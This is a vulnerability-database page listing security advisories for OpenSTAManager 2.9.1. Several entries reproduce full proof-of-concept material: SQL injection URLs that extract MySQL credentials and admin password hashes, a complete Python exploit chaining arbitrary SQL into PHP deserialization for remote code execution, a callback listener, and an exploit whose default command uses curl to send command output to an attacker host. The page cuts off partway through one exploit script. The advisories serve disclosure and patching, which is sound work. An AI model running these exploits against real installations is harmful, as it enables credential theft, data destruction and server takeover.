Search for packages
| purl | pkg:composer/devcode-it/openstamanager@2.9.1 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-2br1-99zg-z7bh
Aliases: CVE-2025-69213 GHSA-w995-ff8h-rppg |
OpenSTAManager has a SQL Injection in ajax_complete.php (get_sedi endpoint) A SQL Injection vulnerability exists in the `ajax_complete.php` endpoint when handling the `get_sedi` operation. An authenticated attacker can inject malicious SQL code through the `idanagrafica` parameter, leading to unauthorized database access. | There are no reported fixed by versions. |
|
VCID-5srf-wjj5-z3fj
Aliases: CVE-2026-35470 GHSA-mmm5-3g4x-qw39 |
OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals ## Description Six `confronta_righe.php` files across different modules in OpenSTAManager <= 2.10.1 contain an SQL Injection vulnerability. The `righe` parameter received via `$_GET['righe']` is directly concatenated into an SQL query without any sanitization, parameterization or validation. An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data. ## Affected Files All 6 vulnerable files share the same code pattern: | # | File | Line | Affected Table | |---|------|------|----------------| | 1 | `modules/fatture/modals/confronta_righe.php` | 29 | `co_righe_documenti` | | 2 | `modules/interventi/modals/confronta_righe.php` | 29 | `in_righe_interventi` | | 3 | `modules/preventivi/modals/confronta_righe.php` | 28 | `co_righe_preventivi` | | 4 | `modules/ordini/modals/confronta_righe.php` | 29 | `or_righe_ordini` | | 5 | `modules/ddt/modals/confronta_righe.php` | 29 | `dt_righe_ddt` | | 6 | `modules/contratti/modals/confronta_righe.php` | 28 | `co_righe_contratti` | ## Vulnerable Code All files follow the same pattern. Example from `modules/interventi/modals/confronta_righe.php`: ```php $righe = $_GET['righe']; // Line 29 — No sanitization $righe = $dbo->fetchArray( 'SELECT `mg_articoli_lang`.`title`, `mg_articoli`.`codice`, `in_righe_interventi`.* FROM `in_righe_interventi` INNER JOIN `mg_articoli` ON `mg_articoli`.`id` = `in_righe_interventi`.`idarticolo` LEFT JOIN `mg_articoli_lang` ON (...) WHERE `in_righe_interventi`.`id` IN ('.$righe.')' // Line 41 — Direct concatenation ); ``` The value of `$_GET['righe']` is inserted directly into the SQL `IN()` clause without using `prepare()`, parameterized statements or any sanitization function. ## Reproduction ### Prerequisites - Authenticated session (any user with module access) - At least one existing record in the target module (e.g. an intervention with id=1) ### Step 1: Extract MySQL version ``` GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))%23 ``` **Result:** `XPATH syntax error: '~8.3.0'` ### Step 2: Extract database user ``` GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER())))%23 ``` **Result:** `XPATH syntax error: '~root@172.19.0.3'` ### Step 3: Extract admin credentials ``` GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM zz_users LIMIT 1)))%23 ``` **Result:** `XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'` ### Evidence <img width="1254" height="395" alt="image" src="https://github.com/user-attachments/assets/a2367ed6-fa03-4668-9d74-4298cac5e429" /> ### HTTP Request ```http GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(username,0x3a,password)%20FROM%20zz_users%20LIMIT%201)))%23 HTTP/1.1 Host: <TARGET> Cookie: PHPSESSID=<SESSION_ID> ``` ### Response (excerpt) ``` SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr' ``` ## Impact - **Confidentiality (High):** Full database data extraction including user credentials (bcrypt hashes), customer data, invoices, contracts and any stored information - **Integrity (High):** Data modification via injected INSERT/UPDATE/DELETE statements through stacked queries or subqueries - **Availability (High):** Deletion of tables or critical data, database corruption ## Remediation ### Recommended Fix Use parameterized statements with `prepare()` for the `righe` parameter: ```php // BEFORE (vulnerable): $righe = $_GET['righe']; $righe = $dbo->fetchArray( '... WHERE `in_righe_interventi`.`id` IN ('.$righe.')' ); // AFTER (secure): $righe_ids = array_map('intval', explode(',', $_GET['righe'] ?? '')); $placeholders = implode(',', array_fill(0, count($righe_ids), '?')); $righe = $dbo->fetchArray( '... WHERE `in_righe_interventi`.`id` IN ('.$placeholders.')', $righe_ids ); ``` This fix must be applied to all **6 files** listed in the "Affected Files" section. ## Credits Omar Ramirez |
Affected by 0 other vulnerabilities. |
|
VCID-5tn6-au4e-33de
Aliases: CVE-2026-29782 GHSA-whv5-4q2f-q68g |
OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2 ## Description The `oauth2.php` file in OpenSTAManager is an **unauthenticated** endpoint (`$skip_permissions = true`). It loads a record from the `zz_oauth2` table using the attacker-controlled GET parameter `state`, and during the OAuth2 configuration flow calls `unserialize()` on the `access_token` field **without any class restriction**. An attacker who can write to the `zz_oauth2` table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in [GHSA-2fr7-cc4f-wh98](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98)) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the `www-data` user. ## Affected code ### Entry point — `oauth2.php` ```php $skip_permissions = true; // Line 23: NO AUTHENTICATION include_once __DIR__.'/core.php'; $state = $_GET['state']; // Line 28: attacker-controlled $code = $_GET['code']; $account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record $response = $account->configure($code, $state); // Line 51: triggers the chain ``` ### Deserialization — `src/Models/OAuth2.php` ```php // Line 193 (checkTokens): $access_token = $this->access_token ? unserialize($this->access_token) : null; // Line 151 (getAccessToken): return $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null; ``` `unserialize()` is called without the `allowed_classes` parameter, allowing instantiation of any class loaded by the Composer autoloader. ## Execution flow ``` oauth2.php (no auth) → configure() → needsConfiguration() → getAccessToken() → checkTokens() → unserialize($this->access_token) ← attacker payload → Creates PendingBroadcast object (Laravel/RCE22 gadget chain) → $access_token->hasExpired() ← PendingBroadcast lacks this method → PHP Error → During error cleanup: → PendingBroadcast.__destruct() ← fires during shutdown → system($command) ← RCE ``` The HTTP response is 500 (due to the `hasExpired()` error), but the command has already executed via `__destruct()` during error cleanup. ## Full attack chain This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module ([GHSA-2fr7-cc4f-wh98](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98)) to achieve unauthenticated RCE: 1. **Payload injection** (requires admin account): Via `op=risolvi-conflitti-database`, arbitrary SQL is executed to insert a malicious serialized object into `zz_oauth2.access_token` 2. **RCE trigger** (unauthenticated): A GET request to `oauth2.php?state=<known_value>&code=x` triggers the deserialization and executes the command **Persistence note**: The `risolvi-conflitti-database` handler ends with `exit;` (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (`CREATE TABLE`/`DROP TABLE`) are included to force an implicit MySQL commit. ## Gadget chain The chain used is **Laravel/RCE22** (available in [phpggc](https://github.com/ambionics/phpggc)), which exploits classes from the Laravel framework present in the project's dependencies: ``` PendingBroadcast.__destruct() → $this->events->dispatch($this->event) → chain of __call() / __invoke() → system($command) ``` ## Proof of Concept ### Execution **Terminal 1** — Attacker listener: ```bash python3 listener.py --port 9999 ``` **Terminal 2** — Exploit: ```bash python3 exploit.py \ --target http://localhost:8888 \ --callback http://host.docker.internal:9999 \ --user admin --password <password> ``` <img width="638" height="722" alt="image" src="https://github.com/user-attachments/assets/e949b641-7986-44b9-acbf-1c5dd0f7ef1f" /> ### Observed result **Listener receives:** <img width="683" height="286" alt="image" src="https://github.com/user-attachments/assets/89a78f7e-5f23-435d-97ec-d74ac905cdc1" /> The `id` command was executed on the server as `www-data`, confirming RCE. ### HTTP requests from the exploit **Step 4 — Injection (authenticated):** ``` POST /actions.php HTTP/1.1 Cookie: PHPSESSID=<session> Content-Type: application/x-www-form-urlencoded op=risolvi-conflitti-database&id_module=6&queries=["DELETE FROM zz_oauth2 WHERE state='poc-xxx'","INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,'poc','Modules\\\\Emails\\\\OAuth2\\\\Google','x','x','{}','poc-xxx',0x<payload_hex>,'',0,1)","CREATE TABLE IF NOT EXISTS _t(i INT)","DROP TABLE IF EXISTS _t"] ``` **Step 5 — Trigger (NO authentication):** ``` GET /oauth2.php?state=poc-xxx&code=x HTTP/1.1 (No cookies — completely anonymous request) ``` **Response:** HTTP 500 (expected — the error occurs after `__destruct()` has already executed the command) ### Exploit — `exploit.py` ```python #!/usr/bin/env python3 """ OpenSTAManager v2.10.1 — RCE PoC (Arbitrary SQL → Insecure Deserialization) Usage: python3 listener.py --port 9999 python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234 """ import argparse import json import random import re import string import subprocess import sys import time try: import requests except ImportError: print("[!] pip install requests") sys.exit(1) RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" BOLD = "\033[1m" DIM = "\033[2m" RESET = "\033[0m" BANNER = f""" {RED}{'=' * 58}{RESET} {RED}{BOLD} OpenSTAManager v2.10.1 — RCE Proof of Concept{RESET} {RED}{BOLD} Arbitrary SQL → Insecure Deserialization{RESET} {RED}{'=' * 58}{RESET} """ def log(msg, status="*"): icons = {"*": f"{BLUE}*{RESET}", "+": f"{GREEN}+{RESET}", "-": f"{RED}-{RESET}", "!": f"{YELLOW}!{RESET}"} print(f" [{icons.get(status, '*')}] {msg}") def step_header(num, title): print(f"\n {BOLD}── Step {num}: {title} ──{RESET}\n") def generate_payload(container, command): step_header(1, "Generate Gadget Chain Payload") log("Checking phpggc in container...") result = subprocess.run(["docker", "exec", container, "test", "-f", "/tmp/phpggc/phpggc"], capture_output=True) if result.returncode != 0: log("Installing phpggc...", "!") proc = subprocess.run( ["docker", "exec", container, "git", "clone", "https://github.com/ambionics/phpggc", "/tmp/phpggc"], capture_output=True, text=True, ) if proc.returncode != 0: log(f"Failed to install phpggc: {proc.stderr}", "-") sys.exit(1) log(f"Command: {DIM}{command}{RESET}") result = subprocess.run( ["docker", "exec", container, "php", "/tmp/phpggc/phpggc", "Laravel/RCE22", "system", command], capture_output=True, ) if result.returncode != 0: log(f"phpggc failed: {result.stderr.decode()}", "-") sys.exit(1) payload_bytes = result.stdout log(f"Payload: {BOLD}{len(payload_bytes)} bytes{RESET}", "+") return payload_bytes def authenticate(target, username, password): step_header(2, "Authenticate") session = requests.Session() log(f"Logging in as '{username}'...") resp = session.post( f"{target}/index.php", data={"op": "login", "username": username, "password": password}, allow_redirects=False, timeout=10, ) location = resp.headers.get("Location", "") if resp.status_code != 302 or "index.php" in location: log("Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).", "-") sys.exit(1) session.get(f"{target}{location}", timeout=10) log("Authenticated", "+") return session def find_module_id(session, target, container): step_header(3, "Find 'Aggiornamenti' Module ID") log("Searching navigation sidebar...") resp = session.get(f"{target}/controller.php", timeout=10) for match in re.finditer(r'id_module=(\d+)', resp.text): snippet = resp.text[match.start():match.start() + 300] if re.search(r'[Aa]ggiornamenti', snippet): module_id = int(match.group(1)) log(f"Module ID: {BOLD}{module_id}{RESET}", "+") return module_id log("Not found in sidebar, querying database...", "!") result = subprocess.run( ["docker", "exec", container, "php", "-r", "require '/var/www/html/config.inc.php'; " "$pdo = new PDO('mysql:host='.$db_host.';dbname='.$db_name, $db_username, $db_password); " "echo $pdo->query(\"SELECT id FROM zz_modules WHERE name='Aggiornamenti'\")->fetchColumn();"], capture_output=True, text=True, ) if result.stdout.strip().isdigit(): module_id = int(result.stdout.strip()) log(f"Module ID: {BOLD}{module_id}{RESET}", "+") return module_id log("Could not find module ID", "-") sys.exit(1) def inject_payload(session, target, module_id, payload_bytes, state_value): step_header(4, "Inject Payload via Arbitrary SQL") hex_payload = payload_bytes.hex() record_id = random.randint(90000, 99999) queries = [ f"DELETE FROM zz_oauth2 WHERE id={record_id} OR state='{state_value}'", f"INSERT INTO zz_oauth2 " f"(id, name, class, client_id, client_secret, config, " f"state, access_token, after_configuration, is_login, enabled) VALUES " f"({record_id}, 'poc', 'Modules\\\\Emails\\\\OAuth2\\\\Google', " f"'x', 'x', '{{}}', '{state_value}', 0x{hex_payload}, '', 0, 1)", "CREATE TABLE IF NOT EXISTS _poc_ddl_commit (i INT)", "DROP TABLE IF EXISTS _poc_ddl_commit", ] log(f"State trigger: {BOLD}{state_value}{RESET}") log(f"Payload: {len(hex_payload)//2} bytes ({len(hex_payload)} hex)") log("Sending to actions.php...") resp = session.post( f"{target}/actions.php", data={"op": "risolvi-conflitti-database", "id_module": str(module_id), "id_record": "", "queries": json.dumps(queries)}, timeout=15, ) try: result = json.loads(resp.text) if result.get("success"): log("Payload planted in zz_oauth2.access_token", "+") return True else: log(f"Injection failed: {result.get('message', '?')}", "-") return False except json.JSONDecodeError: log(f"Unexpected response (HTTP {resp.status_code}): {resp.text[:200]}", "-") return False def trigger_rce(target, state_value): step_header(5, "Trigger RCE (NO AUTHENTICATION)") url = f"{target}/oauth2.php" log(f"GET {url}?state={state_value}&code=x") log(f"{DIM}(This request is UNAUTHENTICATED){RESET}") try: resp = requests.get(url, params={"state": state_value, "code": "x"}, allow_redirects=False, timeout=15) log(f"HTTP {resp.status_code}", "+") if resp.status_code == 500: log(f"{DIM}500 expected: __destruct() fires the gadget chain before error handling{RESET}") except requests.exceptions.Timeout: log("Timed out (command may still have executed)", "!") except requests.exceptions.ConnectionError as e: log(f"Connection error: {e}", "-") def main(): parser = argparse.ArgumentParser(description="OpenSTAManager v2.10.1 — RCE PoC") parser.add_argument("--target", required=True, help="Target URL") parser.add_argument("--callback", required=True, help="Attacker listener URL reachable from the container") parser.add_argument("--user", default="admin", help="Username (default: admin)") parser.add_argument("--password", required=True, help="Password") parser.add_argument("--container", default="osm-web", help="Docker web container (default: osm-web)") parser.add_argument("--command", help="Custom command (default: curl callback with id output)") args = parser.parse_args() print(BANNER) target = args.target.rstrip("/") callback = args.callback.rstrip("/") state_value = "poc-" + "".join(random.choices(string.ascii_lowercase + string.digits, k=12)) command = args.command or f"curl -s {callback}/rce-$(id|base64 -w0)" payload = generate_payload(args.container, command) session = authenticate(target, args.user, args.password) module_id = find_module_id(session, target, args.container) if not inject_payload(session, target, module_id, payload, state_value): log("Exploit failed at injection step", "-") sys.exit(1) time.sleep(1) trigger_rce(target, state_value) print(f"\n {BOLD}── Result ──{RESET}\n") log("Exploit complete. Check your listener for the callback.", "+") log("Expected: GET /rce-<base64(id)>") log(f"If no callback, verify the container can reach: {callback}", "!") if __name__ == "__main__": main() ``` ### Listener — `listener.py` ```python #!/usr/bin/env python3 """OpenSTAManager v2.10.1 — RCE Callback Listener""" import argparse import base64 import sys from datetime import datetime from http.server import HTTPServer, BaseHTTPRequestHandler RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" BOLD = "\033[1m" RESET = "\033[0m" class CallbackHandler(BaseHTTPRequestHandler): def do_GET(self): ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S") print(f"\n {RED}{'=' * 58}{RESET}") print(f" {RED}{BOLD} RCE CALLBACK RECEIVED{RESET}") print(f" {RED}{'=' * 58}{RESET}") print(f" {GREEN}[+]{RESET} Time : {ts}") print(f" {GREEN}[+]{RESET} From : {self.client_address[0]}:{self.client_address[1]}") print(f" {GREEN}[+]{RESET} Path : {self.path}") for part in self.path.lstrip("/").split("/"): if part.startswith("rce-"): try: decoded = base64.b64decode(part[4:]).decode("utf-8", errors="replace") print(f" {GREEN}[+]{RESET} Output : {BOLD}{decoded}{RESET}") except Exception: print(f" {YELLOW}[!]{RESET} Raw : {part[4:]}") print(f" {RED}{'=' * 58}{RESET}\n") self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"OK") def do_POST(self): self.do_GET() def log_message(self, format, *args): pass def main(): parser = argparse.ArgumentParser(description="RCE callback listener") parser.add_argument("--port", type=int, default=9999, help="Listen port (default: 9999)") args = parser.parse_args() server = HTTPServer(("0.0.0.0", args.port), CallbackHandler) print(f"\n {BLUE}{'=' * 58}{RESET}") print(f" {BLUE}{BOLD} OpenSTAManager v2.10.1 — RCE Callback Listener{RESET}") print(f" {BLUE}{'=' * 58}{RESET}") print(f" {GREEN}[+]{RESET} Listening on 0.0.0.0:{args.port}") print(f" {YELLOW}[!]{RESET} Waiting for callback...\n") try: server.serve_forever() except KeyboardInterrupt: print(f"\n {YELLOW}[!]{RESET} Stopped.") sys.exit(0) if __name__ == "__main__": main() ``` ## Impact - **Confidentiality**: Read server files, database credentials, API keys - **Integrity**: Write files, install backdoors, modify application code - **Availability**: Delete files, denial of service - **Scope**: Command execution as `www-data` allows pivoting to other systems on the network ## Proposed remediation ### Option A: Restrict `unserialize()` (recommended) ```php // src/Models/OAuth2.php — checkTokens() and getAccessToken() $access_token = $this->access_token ? unserialize($this->access_token, ['allowed_classes' => [AccessToken::class]]) : null; ``` ### Option B: Use safe serialization Replace `serialize()`/`unserialize()` with `json_encode()`/`json_decode()` for storing OAuth2 tokens. ### Option C: Authenticate `oauth2.php` Remove `$skip_permissions = true` and require authentication for the OAuth2 callback endpoint, or validate the `state` parameter against a value stored in the user's session. ## Credits Omar Ramirez |
Affected by 0 other vulnerabilities. |
|
VCID-7e19-24d8-f7gd
Aliases: CVE-2026-24416 GHSA-p864-fqgv-92q4 |
OpenSTAManager has a Time-Based Blind SQL Injection in Article Pricing Module Critical Time-Based Blind SQL Injection vulnerability in the article pricing module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer data, and financial records through time-based Boolean inference attacks. **Status:** ✅ Confirmed and tested on live instance (v2.9.8) end [demo.osmbusiness.it](https://demo.osmbusiness.it/) (v2.9.7) **Vulnerable Parameter:** `idarticolo` (GET) **Affected Endpoint:** `/ajax_complete.php?op=getprezzi` **Affected Module:** Articoli (Articles/Products) |
Affected by 6 other vulnerabilities. |
|
VCID-7h5v-9rhe-2bbp
Aliases: CVE-2026-24415 GHSA-jfgp-g7x7-j25j |
OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions. **Vulnerable Parameter:** `righe` (GET) |
Affected by 15 other vulnerabilities. |
|
VCID-81kx-rj8c-dkbr
Aliases: CVE-2026-24419 GHSA-4j2x-jh4m-fqv6 |
OpenSTAManager has a SQL Injection in the Prima Nota module Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters. **Status:** ✅ Confirmed and tested on live instance (v2.9.8) **Vulnerable Parameters:** `id_documenti` (GET parameters) **Affected Endpoint:** `/modules/primanota/add.php` **Attack Type:** Error-Based SQL Injection (IN clause) |
Affected by 6 other vulnerabilities. |
|
VCID-8x62-3aff-hbak
Aliases: CVE-2025-69212 GHSA-25fp-8w8p-mx36 |
OpenSTAManager has an OS Command Injection in P7M File Processing A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server. |
Affected by 6 other vulnerabilities. |
|
VCID-by14-5puv-qygm
Aliases: CVE-2025-69216 GHSA-q6g3-fv43-m2w6 |
OpenSTAManager has a SQL Injection in Scadenzario Print Template An **authenticated SQL Injection vulnerability** in OpenSTAManager's Scadenzario (Payment Schedule) print template allows any authenticated user to extract sensitive data from the database, including admin credentials, customer information, and financial records. The vulnerability enables complete database read access through error-based SQL injection techniques. |
Affected by 6 other vulnerabilities. |
|
VCID-e7y7-21j6-k7hj
Aliases: CVE-2026-35168 GHSA-2fr7-cc4f-wh98 |
OpenSTAManager: SQL Injection via Aggiornamenti Module ## Description The Aggiornamenti (Updates) module in OpenSTAManager <= 2.10.1 contains a database conflict resolution feature (`op=risolvi-conflitti-database`) that accepts a JSON array of SQL statements via POST and executes them directly against the database without any validation, allowlist, or sanitization. An authenticated attacker with access to the Aggiornamenti module can execute arbitrary SQL statements including `CREATE`, `DROP`, `ALTER`, `INSERT`, `UPDATE`, `DELETE`, `SELECT INTO OUTFILE`, and any other SQL command supported by the MySQL server. Foreign key checks are explicitly disabled before execution (`SET FOREIGN_KEY_CHECKS=0`), further reducing database integrity protections. ## Affected Code **File:** `modules/aggiornamenti/actions.php`, lines 40-82 ```php case 'risolvi-conflitti-database': $queries_json = post('queries'); // Line 41: User input from POST // ... $queries = json_decode($queries_json, true); // Line 50: JSON decoded to array // ... $dbo->query('SET FOREIGN_KEY_CHECKS=0'); // Line 69: FK checks DISABLED $errors = []; $executed = 0; foreach ($queries as $query) { try { $dbo->query($query); // Line 76: DIRECT EXECUTION ++$executed; } catch (Exception $e) { $errors[] = $query.' - '.$e->getMessage(); // Line 79: Error details leaked } } $dbo->query('SET FOREIGN_KEY_CHECKS=1'); // Line 82: FK checks re-enabled ``` ### Key Issues 1. **No query validation:** The SQL statements from user input are executed directly via `$dbo->query()` without any validation or filtering. 2. **No allowlist:** There is no restriction on which SQL commands are permitted (e.g., only `ALTER TABLE` or `CREATE INDEX`). 3. **Foreign key checks disabled:** `SET FOREIGN_KEY_CHECKS=0` is executed before the user queries, allowing data integrity violations. 4. **Error message leakage:** Exception messages containing database structure details are returned in the JSON response (line 79). 5. **No authorization check:** The action only requires module-level access, with no additional authorization for this destructive operation. ## Root Cause Analysis ### Data Flow 1. Attacker sends POST request to `/editor.php?id_module=<Aggiornamenti_ID>` with `op=risolvi-conflitti-database` and `queries=["<arbitrary SQL>"]` 2. `editor.php` includes `actions.php` (root), which checks module permission (`$structure->permission == 'rw'`) at line 472 3. Root `actions.php` includes the module's `actions.php` at line 489 4. `modules/aggiornamenti/actions.php` reads the `queries` POST parameter (line 41) 5. JSON-decodes it into an array of strings (line 50) 6. Iterates over each string and executes it as a SQL query via `$dbo->query()` (line 76) ### Why This Is Exploitable - The feature is intended for resolving database schema conflicts during updates - However, there is no restriction on what SQL can be executed - Any authenticated user with `rw` permission on the Aggiornamenti module can exploit this - The default admin account always has access to this module ## Proof of Concept ### Prerequisites - A valid user account with access to the Aggiornamenti module ### Step 1: Authenticate ``` POST /index.php HTTP/1.1 Host: <target> Content-Type: application/x-www-form-urlencoded op=login&username=<user>&password=<pass> ``` Save the `PHPSESSID` cookie. ### Step 2: Detect Aggiornamenti Module ID Navigate to the application dashboard and inspect the sidebar links. The Aggiornamenti module URL contains `id_module=<ID>`. Default value in a standard installation: `6`. ### Step 3: Execute Arbitrary SQL **Request (captured in Burp Suite):** ``` POST /editor.php?id_module=6&id_record=6 HTTP/1.1 Host: 127.0.0.1:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: */* Connection: keep-alive Cookie: PHPSESSID=6a1a8ab261f8d93c6e21d2ee566c17a5 Content-Type: application/x-www-form-urlencoded op=risolvi-conflitti-database&queries=%5B%22DROP+TABLE+IF+EXISTS+poc_vuln04_verify%22%2C+%22CREATE+TABLE+poc_vuln04_verify+%28id+INT+AUTO_INCREMENT+PRIMARY+KEY%2C+proof+VARCHAR%28255%29%2C+ts+TIMESTAMP+DEFAULT+CURRENT_TIMESTAMP%29%22%2C+%22INSERT+INTO+poc_vuln04_verify+%28proof%29+VALUES+%28%27CVE_PROOF_arbitrary_sql_execution%27%29%22%5D ``` The URL-decoded `queries` parameter is: ```json [ "DROP TABLE IF EXISTS poc_vuln04_verify", "CREATE TABLE poc_vuln04_verify (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)", "INSERT INTO poc_vuln04_verify (proof) VALUES ('CVE_PROOF_arbitrary_sql_execution')" ] ``` Three arbitrary SQL statements are sent: `DROP TABLE`, `CREATE TABLE`, and `INSERT INTO` — demonstrating full control over the database. **Response (captured in Burp Suite):** The server responds with HTTP 200 and the following JSON response confirming successful execution of all 3 queries: ```json {"success":true,"message":"Tutte le query sono state eseguite con successo (3 query).<br><br>Query eseguite:<br>DROP TABLE IF EXISTS poc_vuln04_verify<br>CREATE TABLE poc_vuln04_verify (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)<br>INSERT INTO poc_vuln04_verify (proof) VALUES ('CVE_PROOF_arbitrary_sql_execution')","flash_message":true} ``` <img width="1490" height="355" alt="image" src="https://github.com/user-attachments/assets/f0df5dd9-4ede-4503-8e00-58c47f2cd06a" /> ### Step 4: Verify Execution The table `poc_vuln04_verify` was created in the database with the inserted data, confirming that arbitrary SQL was executed. The server confirms: `"Tutte le query sono state eseguite con successo (3 query)."` ### Observed Results | Action | Result | |---|---| | `DROP TABLE IF EXISTS` | Table dropped successfully | | `CREATE TABLE` | Table created successfully | | `INSERT INTO` | Data inserted | | `SELECT VERSION()` (via INSERT...SELECT) | MySQL version extracted: `8.3.0` | | Server confirmation | `"success":true` with query count | | Execution with admin user | Success | | Execution with non-admin user (Tecnici group with module access) | Success | ### Exploit ``` python3 poc_sql.py -t http://<target>:8888 -u admin -p admin ``` ```python #!/usr/bin/env python3 import argparse import json import re import sys import urllib3 import requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) DEFAULT_HEADERS = { "User-Agent": ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/120.0.0.0 Safari/537.36" ), } def parse_args(): p = argparse.ArgumentParser( description="OpenSTAManager <= 2.10.1 — Arbitrary SQL Exec in Aggiornamenti (PoC)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=( "Examples:\n" " %(prog)s -t http://target:8888 -u admin -p admin\n" " %(prog)s -t http://target:8888 -u admin -p admin --proxy http://127.0.0.1:8080\n" " %(prog)s -t http://target:8888 -u admin -p admin --module-id 6\n" ), ) p.add_argument("-t", "--target", required=True, help="Base URL (e.g. http://host:port)") p.add_argument("-u", "--username", required=True, help="Valid username for authentication") p.add_argument("-p", "--password", required=True, help="Password for authentication") p.add_argument( "--proxy", default=None, help="HTTP proxy (e.g. http://127.0.0.1:8080 for Burp Suite)", ) p.add_argument( "--module-id", type=int, default=None, help="Aggiornamenti module ID (auto-detected if omitted)", ) p.add_argument( "--verify-only", action="store_true", help="Only verify the vulnerability, do not extract data", ) return p.parse_args() class OSMExploit: def __init__(self, args): self.target = args.target.rstrip("/") self.username = args.username self.password = args.password self.module_id = args.module_id self.session = requests.Session() self.session.headers.update(DEFAULT_HEADERS) self.session.verify = False if args.proxy: self.session.proxies = {"http": args.proxy, "https": args.proxy} self.request_count = 0 def login(self): info("Authenticating as '%s'..." % self.username) # First GET to obtain a valid session cookie self.session.get(f"{self.target}/index.php") self.request_count += 1 r = self.session.post( f"{self.target}/index.php", data={"op": "login", "username": self.username, "password": self.password}, allow_redirects=False, ) self.request_count += 1 if r.status_code != 302: fail("Login failed (HTTP %d). Check credentials." % r.status_code) return False location = r.headers.get("Location", "") # Success redirects to controller.php; failure redirects back to index.php if "controller.php" in location: success("Authenticated successfully.") # Follow redirect to establish full session self.session.get(f"{self.target}/{location.lstrip('/')}", allow_redirects=True) self.request_count += 1 return True # If redirected back to index.php, the login failed # Common causes: wrong credentials, brute-force lockout, or active session token fail("Login failed — redirected to '%s'." % location) fail("Possible causes:") fail(" 1. Wrong credentials") fail(" 2. Brute-force lockout (wait 3 min or clear zz_logs)") fail(" 3. Active session token (another session is open)") fail(" Tip: clear the token with SQL: UPDATE zz_users SET session_token=NULL WHERE username='%s';" % self.username) return False def detect_module_id(self): if self.module_id is not None: info("Using provided module ID = %d" % self.module_id) return True info("Auto-detecting Aggiornamenti module ID...") # Search for the module ID in the navigation HTML r = self.session.get(f"{self.target}/index.php", allow_redirects=True) self.request_count += 1 # Look for sidebar link: <a href="/controller.php?id_module=6" ...>...<p>Aggiornamenti</p> matches = re.findall(r'id_module=(\d+)"[^<]*<[^<]*<[^<]*Aggiornamenti', r.text) if matches: self.module_id = int(matches[0]) success("Aggiornamenti module ID = %d" % self.module_id) return True # Secondary pattern: data-id attribute near Aggiornamenti text matches = re.findall(r'data-id="(\d+)"[^<]*onclick[^<]*id_module=\d+[^<]*<[^<]*<[^<]*<[^<]*Aggiornamenti', r.text) if matches: self.module_id = int(matches[0]) success("Aggiornamenti module ID = %d" % self.module_id) return True # Fallback: try common IDs for test_id in [6, 7, 8, 5, 4]: r = self.session.get( f"{self.target}/controller.php?id_module={test_id}", allow_redirects=True, ) self.request_count += 1 if "Aggiornamenti" in r.text or "aggiornamenti" in r.text.lower(): self.module_id = test_id success("Aggiornamenti module ID = %d" % test_id) return True fail("Could not detect Aggiornamenti module ID. Use --module-id N.") return False def execute_sql(self, queries): """Execute arbitrary SQL via risolvi-conflitti-database.""" r = self.session.post( f"{self.target}/editor.php?id_module={self.module_id}&id_record={self.module_id}", data={ "op": "risolvi-conflitti-database", "queries": json.dumps(queries), }, ) self.request_count += 1 return r def verify(self): marker_table = 